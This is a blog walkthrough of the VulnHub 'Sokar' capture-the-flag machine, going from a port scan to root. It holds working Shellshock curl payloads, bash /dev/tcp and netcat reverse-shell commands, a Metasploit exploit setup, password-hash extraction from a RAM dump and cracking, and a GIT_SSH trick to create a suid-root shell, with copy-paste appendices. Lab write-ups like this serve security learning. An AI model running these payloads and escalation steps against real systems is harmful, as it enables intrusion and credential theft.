Walkthrough for Sokar

A VulnHub challenge solved ...

Posted by Emre Bastuz on February 21, 2015

Cheers to rasta_mouse, to vulnhub and the vulnhub community for providing these opportunities to learn and have fun at the same ! :-)

This Walkthrough is also available as a PDF at Walkthrough for Sokar - Emre - v1.00.pdf

First details

In this walkthrough the attacker machine will be a Kali Linux system that is a virtual machine.

The attacker system has an IP address of and the victim system "Sokar" will be configured to have a network interface in the same segment as the attacker.

Via DHCP, the Sokar 1 machine will obtain an IP address from within the subnet of

Obtaining network information

After having installed the virtual machine, the IP address of the victim machine needs to be found out:

root@kali:~# nmap -sP

Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-02 10:09 CET
Nmap scan report for
Host is up (0.00019s latency).
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)
Nmap done: 256 IP addresses (... hosts up) scanned in 2.12 seconds

Now that we know the address of the machine, we look for open ports:

root@kali:~# nmap -sS -sV -T4 -p1-1023

Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-02 11:34 CET
Nmap scan report for
Host is up (0.00040s latency).
Not shown: 1022 filtered ports
591/tcp open  http    Apache httpd 2.2.15 ((CentOS))
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.92 seconds

Tricky part: Doing a port scan for all TCP ports and for the UDP ports as well take forever. There seems to be some type of network restriction in place.

Now that we know there is a web application listening on port 591, we can dive into it!

Exploiting the first vector - the webserver

Continuing by checking the webserver listening on port 591 with a browser:

Screenshot - web page

Looks like a web page that is made up of output from different command line tools from a Linux shell (netstat, uname, df, etc.).

Also checking the HTML source of the page:

Screenshot - html source

A CGI script delivers the HTML output and is included in the page via iframe.

CGI .... CGI ... cgi ... cgi ... shell tools ... shell ... shell ... SHELLSHOCK COMES TO MIND!

Trying it out:

root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; id'

No result ... Hmmmm ...

Trying it again with with the full path to the binaries, coming up with this:

root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /usr/bin/id'

uid=48(apache) gid=48(apache) groups=48(apache)


Looking around the system further

Doing some reconnaissance and checking filesystem folders, the interesting ones in this case being /home/ and /var/mail/:

root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /bin/ls -al /home/'
drwx------   2 apophis apophis 4096 Jan  2 20:12 apophis
drwxrwxrwx.  2 bynarr  bynarr  4096 Jan 27 19:14 bynarr

root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /bin/ls -al /var/mail/'
-rw-rw----  1 apophis mail    0 Dec 30 19:20 apophis
-rw-rw-r--. 1 bynarr  mail  551 Dec 30 21:09 bynarr

Facts so far:

  • Two regular users "apophis" and "bynarr" exist
  • Home folder for user bynarr is world-readable
  • Mail folder for user bynarr is readable for "others"

Establishing shell access

Trying to get a reverse shell to smoothen working with the box:

Setup a listener in another terminal session on attacker machine ( being the IP of the attacker machine):

root@kali:~# nc -l -p 8888 

Try to spawn a reverse shell on the victim via netcat with option "-e" (a.k.a. GAPING_SECURITY_HOLE):

root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /usr/bin/nc -e /bin/sh 8888'

nope (curl instantly returns)

Try to spawn a reverse shell on the victim via bash and /dev/tcp:

root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /bin/bash -i >& /dev/tcp/ 0>&1'

nope (curl instantly returns)

Does it even do an outgoing ping?!?!?!?!

root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /bin/ping'

nope (curl exits after some longer timeout)


  • netcat might not be available for using it with a reverse shell (fast timeout when executing the command)
  • Something is fishy about the outgoing network connectivity. Restrictions might be in place

We will look into that. Let's check the other vectors.

Cheking mail

Mail data of user "bynarr" is readable by "other" so let's check /var/mail/bynarr:

root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /bin/cat /var/mail/bynarr'

Return-Path: <root@sokar>
Delivered-To: bynarr@localhost
Received:  from root by localhost
To: <bynarr@sokar>
Date: Thu, 13 Nov 2014 22:04:31 +0100
Subject: Welcome

Dear Bynarr.  Welcome to Sokar Inc. Forensic Development Team.
A user account has been setup for you.

UID 500 (bynarr)
GID 500 (bynarr)
    501 (forensic)

Password 'fruity'.  Please change this ASAP.
Should you require, you've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis.

All the best in your new role!


Veeeeeeery nice! :-)

Conclusion so far:

  • Outbound network connections are restricted
  • User "bynarr" might be able to initiate outbound TCP connections on port 51242
  • User "bynarr" might have the password "fruity"

Quotation hell and tty oddities

So, for a reverse shell we need to switch user and use the port 51242 for the outgoing connection.

This should be as easy as something like this, would it not? :-)

echo fruity | su bynarr -c /bin/bash -i >& /dev/tcp/ 0>&1

Not really! While in fact the commands above illustrate what needs to be done, they do not work that way.

Let's analyze it one at a time, using some other Linux machine:

user1@debian7:~$ echo user2_password | su user2 -c id
su: must be run from a terminal

Piping the password does not work due to tty "issues".

Spawning a pty and executing the "su" command in it is necessary to compensate for the "must be run from a terminal" problem:

echo user2_password | python -c "import pty; pty.spawn(['/bin/su','user2','-c','id'])"

Now it seems like there is some timing issue - the password is printed before the "Password:" prompt Let' fix the timing by adding a "sleep 1" to the "echo user_password2" and put both in parentheses, creating a subshell for detaching it from the spawned pty.

(sleep 1; echo user2_password) | python -c "import pty; pty.spawn(['/bin/su','user2','-c','id'])"

uid=1001(user2) gid=1001(user2) groups=1001(user2)

Now let's add the challenge-proven method of using the /dev/tcp trick to open a reverse shell and also add the full path to the used binaries:

(/bin/sleep 1; /bin/echo fruity) | /usr/bin/python -c "import pty; pty.spawn(['/bin/su','bynarr','-c','/bin/bash -i >& /dev/tcp/ 0>&1']);"

I will be honest here: it took quite some time to test through the variations of the commands and tricks necessary to achieve the su-and-reverse-shell in one push.

Due to nested quotes that would have been required to use the command with "curl" I decided to use metasploit to deliver the command.

Luckily there is an exploitation module available for shellshock: apache_mod_cgi_bash_env_exec

First let's use msfconsole to open a listener:

msf > exploit/multi/handler 
msf exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 51242
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j

Now let's go for the actual exploitation (please note that the quotes need to be escaped in CMD):

msf > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(apache_mod_cgi_bash_env_exec) > set RHOST
msf exploit(apache_mod_cgi_bash_env_exec) > set RPORT 591
msf exploit(apache_mod_cgi_bash_env_exec) > set PAYLOAD linux/x86/exec
msf exploit(apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/cat
msf exploit(apache_mod_cgi_bash_env_exec) > set CMD (sleep 1; echo fruity) | python -c \"import pty; pty.spawn([\'/bin/su\',\'-c\',\'/bin/bash -i >& /dev/tcp/ 0>&1\',\'bynarr\']);\"
msf exploit(apache_mod_cgi_bash_env_exec) > exploit -j
[*] Exploit running as background job.
[*] Command Stager progress - 100.37% done (1352/1347 bytes)
[*] Sending stage (36 bytes) to
[*] Command shell session 1 opened ( -> at 2015-02-08 17:02:33 +0100

We're in :-) Let's interact:

msf exploit(apache_mod_cgi_bash_env_exec) > sessions -i 1
[*] Starting interaction with 1...

bash: no job control in this shell
[bynarr@sokar cgi-bin]$ pwd
[bynarr@sokar cgi-bin]$ id
uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)

Digging up stuff from RAM

Looking through the user bynarr's home folder, we find some interesting stuff:

[bynarr@sokar ~]$ cd /home/bynarr
[bynarr@sokar ~]$ ls -al
-rwxr-xr-x  1 root   root     368 Jan 27 19:14 lime
-rw-------  1 root   root   10728 Nov 13 11:45 lime.ko

The file "lime.ko" is only accessible by root but the file "lime" can be read and executed. Let's see if that helps:

[bynarr@sokar ~]$ file lime
lime: Bourne-Again shell script text executable

Let's look at the shell script

[bynarr@sokar ~]$ cat lime
echo """
Linux Memory Extractorator
echo "LKM, add or remove?"
echo -en "> "

read -e input

if [ $input == "add" ]; then

    /sbin/insmod /home/bynarr/lime.ko "path=/tmp/ram format=raw"

elif [ $input == "remove" ]; then

    /sbin/rmmod lime


    echo "Invalid input, burn in the fires of Netu!"


The heading of the file says "Memory Extractor" so we can assume that some type of memory dump can be created by the kernel module, presumably as file "/tmp/ram".

As "insmod" and "lime.ko" are not accessible by the user bynarr directly, it should be worth giving "sudo" a shot, running the script with the option "add":

[bynarr@sokar ~]$ sudo ./lime 
[sudo] password for bynarr: fruity

Linux Memory Extractorator

LKM, add or remove?
> add
[bynarr@sokar ~]$ 

Has anything happened? Let's take a look in the folder "/tmp":

[bynarr@sokar ~]$ ls -al /tmp
ls -al /tmp
total 261740
drwxrwxrwt.  3 root   root        4096 Feb  8 16:52 .
dr-xr-xr-x. 22 root   root        4096 Feb  8 16:27 ..
drwxrwxrwt   2 root   root        4096 Feb  8 16:27 .ICE-unix
-r--r--r--   1 root   root   267909120 Feb  8 16:52 ram

There is a file called "ram", allright.

After quite some time extracting the strings from "ram" and analyzing the output, the following important data can be retrieved:

[bynarr@sokar ~]$ grep -a "apophis:" /tmp/ram

[bynarr@sokar ~]$ grep -a "root:" /tmp/ram

This is cool! We have found the password hashes for the users "apophis" and "root".

Let's create a pseudo-shadow file that John the Ripper can work with on the attacker machine to crack the passwords:

root@kali:~# cat pseudo-shaow 

Knowing that sqlmap has a pretty decent wordlist for cracking passwords we go for it:

root@kali:~# john --wordlist=/usr/share/sqlmap/txt/wordlist.txt pseudo-shaow 
Loaded 2 password hashes with 2 different salts (sha512crypt [64/64])
overdrive        (apophis)
guesses: 1  time: 0:00:41:57 DONE (Sun Feb  8 18:27:07 2015)  c/s: 837  trying: ~~~ - ~~~~~~~~~~~~
Use the "--show" option to display all of the cracked passwords reliably

The root password could not be bruteforced but we now have the password for the user "apophis"!

Another user, another file to exploit

Let's switch the user and continue looking for hints:

[bynarr@sokar ~]$ python -c "import pty; pty.spawn('/bin/bash');"
[bynarr@sokar ~]$ su - apophis
Password: overdrive
[apophis@sokar ~]$ id
uid=501(apophis) gid=502(apophis) groups=502(apophis)

Let's look through the user's folder and see if we can find something interesting:

[apophis@sokar ~]$ pwd

[apophis@sokar ~]$ ls -al
-rwsr-sr-x  1 root    root    8430 Jan  2 17:49 build

We have a suid-root binary in the folder. Let's analyze it:

[apophis@sokar ~]$ file build
build: setuid setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

An executable with symbol information included. Good.

Any interesting strings?

[apophis@sokar ~]$ strings -a build
Build? (Y/N) 
OK :(

Looks like some input/output related to user interaction.

To see what information the symbols provide I dumped the function names and looked for familiar or special entries, dealing with input and output functions or user interaction in general:

[apophis@sokar ~]$ nm build

                 U __gets_chk@@GLIBC_2.3.4
                 U __printf_chk@@GLIBC_2.3.4
00000000000008ac T encryptDecrypt
                 U strcmp@@GLIBC_2.2.5
                 U system@@GLIBC_2.2.5

The presence of function calls with a "chk" prepended to them indicates that the binary has been created with a compiler option to "FORTIFY" i.e. protect the programm flow from buffer overflows (see https://isisblogs.poly.edu/2011/04/11/fortifysource-semantics/).

It seems like we will have no luck in owning the binary via gets and printf.

The function "encryptDecrypt" looks like a non-system function and will be examined later.

The next function "strcmp" is to be considered insecure as described at https://security.web.cern.ch/security/recommendations/en/codetools/c.shtml: The strcpy built-in function does not check buffer lengths and may very well overwrite memory zone contiguous to the intended destination. In fact, the whole family of functions is similarly vulnerable: strcpy, strcat and strcmp.

The next function "system" also introduces weaknesses to a software, as described at https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=2130132: Use of the system() function can result in exploitable vulnerabilities, in the worst case allowing execution of arbitrary system commands. Situations in which calls to system() have high risk include the following: - When passing an unsanitized or improperly sanitized command string originating from a tainted source - If a command is specified without a path name and the command processor path name resolution mechanism is accessible to an attacker - If a relative path to an executable is specified and control over the current working directory is accessible to an attacker *- If the specified executable program can be spoofed by an attacker

Let's run the software with different options for further analysis:


[apophis@sokar ~]$ ./build
Build? (Y/N) N
OK :(

[apophis@sokar ~]$ ./build
Build? (Y/N) Y
Cloning into '/mnt/secret-project'...
ssh: Could not resolve hostname sokar-dev: Temporary failure in name resolution
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

[apophis@sokar ~]$ ./build
Build? (Y/N) y
OK :(

Observations while running "build":

  • The software expects an input parameter of either "Y" or "N".
  • The parameter entry is case sensitive (capital "Y" for "yes" and everything else is considered "no")
  • The software tries to clone something into "/mnt/secret-project"
  • SSH is being used
  • The hostname "sokar-dev" is relevant for some network activity

Doing a strings did not show any SSH related commands embedded in the binary, which is fishy - the function call "encryptDecrypt" comes to mind.

Let's see if we can shed some light what it does by visualizing the programm flow (I used a trial version of the Hopper disassembler for this):

Program flow

Interpreting the disassembly on a rather abstract level:

  1. Some things happen
  2. A relatively big amount of data is put on the stack
  3. There is interaction with the user (print something, get some answer, compare the answer to something as in "enter yes or no")
  4. In case the user choses "Y", do some more stuff
  5. Call the function "encryptDecrypt" and do more things

To avoid reverse engineering the functionality of encryptDecrpyt I used a rather lazy but effective method:

Load "build" into the GNU debugger:


[apophis@sokar ~]$ gdb build

Set a breakpoint at main and run:


(gdb) break main
break main
Breakpoint 1 at 0x8f3
(gdb) run
Starting program: /home/apophis/build 

Breakpoint 1, 0x00007f9ee4e058f3 in main ()

Disassemble encyrptDecrypt:

(gdb) disas encryptDecrypt
Dump of assembler code for function encryptDecrypt:
   0x00007f9ee4e058ac <+0>:   mov    %rdi,%rdx
   0x00007f9ee4e058af <+3>:   mov    $0x0,%r9d
   0x00007f9ee4e058b5 <+9>:   mov    $0xffffffffffffffff,%r11
   0x00007f9ee4e058bc <+16>:  mov    %rdi,%r10
   0x00007f9ee4e058bf <+19>:  mov    $0x0,%eax
   0x00007f9ee4e058c4 <+24>:  jmp    0x7f9ee4e058d6 <encryptDecrypt+42>
   0x00007f9ee4e058c6 <+26>:  movzbl (%rdx,%r8,1),%ecx
   0x00007f9ee4e058cb <+31>:  xor    $0x49,%ecx
   0x00007f9ee4e058ce <+34>:  mov    %cl,(%rsi,%r8,1)
   0x00007f9ee4e058d2 <+38>:  add    $0x1,%r9d
   0x00007f9ee4e058d6 <+42>:  movslq %r9d,%r8
   0x00007f9ee4e058d9 <+45>:  mov    %r11,%rcx
   0x00007f9ee4e058dc <+48>:  mov    %r10,%rdi
   0x00007f9ee4e058df <+51>:  repnz scas %es:(%rdi),%al
   0x00007f9ee4e058e1 <+53>:  not    %rcx
   0x00007f9ee4e058e4 <+56>:  sub    $0x1,%rcx
   0x00007f9ee4e058e8 <+60>:  cmp    %rcx,%r8
   0x00007f9ee4e058eb <+63>:  jb     0x7f9ee4e058c6 <encryptDecrypt+26>
   0x00007f9ee4e058ed <+65>:  repz retq 
End of assembler dump.

Put another breakpoint at the end of the encryptDecrypt function (offset +65) and continue to run the program:

(gdb) break *0x7f9ee4e058ed
Breakpoint 2 at 0x7f9ee4e058ed
(gdb) continue
Build? (Y/N) Y

Breakpoint 2, 0x00007f9ee4e058ed in encryptDecrypt ()

Let's take a look at the register values, focusing on the value in rbx:

(gdb) info registers
rbx            0x7fffc42ac240   140736484524608

Let's see what we can find at that particular memory location:

(gdb) x /82sb 0x7fffc42ac240
0x7fffc42ac240:  "/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/"

There we go: this is what the decrypted string looks like.

The tool "build" is trying to clone a git repository via ssh to a local path of /mnt/secret-project.

As the path to "git" is absolute, there is no way to mess around with the PATH environment variable and fake a "git" command.

After doing some research on what other environment variables exist that git uses, I came up with idea of using GIT_SSH to execute arbitrary commands under my control.

Firstly however, let's create a binary to spawn a shell by transferring the source code and compiling it:

[apophis@sokar ~]$ cat <<EOF > /tmp/shell.c
> #include <unistd.h>
> #include <sys/types.h>
> #include <grp.h>
> #include <stdio.h>
> int main (int argc, char** argv) {
>   gid_t newGrp = 0;
>   if (setuid(0) != 0) {
>     perror("Setuid failed, no suid-bit set?");
>     return 1;
>   }
>   setgid(0);
>   seteuid(0);
>   setegid(0);
>   setgroups(1, &newGrp);
>   execvp("/bin/sh", argv); 
>   return 0;
> }

(please note the enter key had to be pressed additionaly once after the final closing curly brace due to terminal oddities)

Let's compile it:

[apophis@sokar ~]$ gcc /tmp/shell.c -o /tmp/shell

Create a script that does the "chown and chmod" job to create a suid root binary:

[apophis@sokar ~]$ cat <<EOF > doit.sh
> #!/bin/bash
> chown root:root /tmp/shell
> chmod 4755 /tmp/shell

Make the script executable, put it into the GIT_SSH environment variable and run build:

[apophis@sokar ~]$ chmod ugo+x doit.sh
[apophis@sokar ~]$ export GIT_SSH=/home/apophis/doit.sh
[apophis@sokar ~]$ ./build
Build? (Y/N) Y

Did it work?

[apophis@sokar ~]$ ls -al /tmp/shell
-rwsr-xr-x 1 root root 7312 Feb 11 16:28 /tmp/shell

Looks good, let's go for it :-)

[apophis@sokar ~]$ /tmp/shell
[root@sokar ~]# id
uid=0(root) gid=0(root) groups=0(root)

Really appreciating the moment, let's stroll over to the root user's directory and get the flag

[root@sokar ~]# cd /root/
[root@sokar root]# ls -al
total 36
dr-xr-x---.  2 root root 4096 Jan 15 21:14 .
dr-xr-xr-x. 22 root root 4096 Feb 11 14:55 ..
-rw-------.  1 root root    0 Jan 27 19:30 .bash_history
-rw-r--r--.  1 root root   18 May 20  2009 .bash_logout
-rw-r--r--.  1 root root  176 May 20  2009 .bash_profile
-rw-r--r--.  1 root root  176 Sep 23  2004 .bashrc
-rw-r--r--   1 root root  678 Jan  2 17:21 build.c
-rw-r--r--.  1 root root  100 Sep 23  2004 .cshrc
-rw-r--r--   1 root root  837 Jan 15 21:14 flag
-rw-r--r--.  1 root root  129 Dec  3  2004 .tcshrc

[root@sokar root]# cat flag
                0   0
                |   |
         0  |~ ~ ~ ~ ~ ~|   0
         |  |   Happy   |   |
  0   |    B i r t h d a y    |   0
  |   |/\/\/\/\/\/\/\/\/\/\/\/|   |
|                                   |
|     V  u  l  n  H  u  b   ! !     |
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |

| Congratulations on beating Sokar! |
|                                   |
|  Massive shoutout to g0tmi1k and  |
| the entire community which makes  |
|         VulnHub possible!         |
|                                   |
|    rasta_mouse (@_RastaMouse)     |


Appendix A - metasploit copy-n-pastable

use exploit/multi/handler 
set PAYLOAD linux/x86/shell/reverse_tcp
set LPORT 51242
set ExitOnSession false
exploit -j

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RPORT 591
set PAYLOAD linux/x86/exec
set TARGETURI /cgi-bin/cat
set CMD (sleep 1; echo fruity) | python -c \"import pty; pty.spawn([\'/bin/su\',\'-c\',\'/bin/bash -i >& /dev/tcp/ 0>&1\',\'bynarr\']);\"
exploit -j

sessions -i 1

Appendix B - shell.c copy-n-pastable

cat <<EOF > /tmp/shell.c
#include <unistd.h>
#include <sys/types.h>
#include <grp.h>
#include <stdio.h>

int main (int argc, char** argv) {

gid_t newGrp = 0;

if (setuid(0) != 0) {
perror("Setuid failed, no suid-bit set?");
return 1;

setgroups(1, &newGrp);

execvp("/bin/sh", argv); 

return 0;


Appendix C - doit.sh copy-n-pastable

cat <<EOF > doit.sh
chown root:root /tmp/shell
chmod 4755 /tmp/shell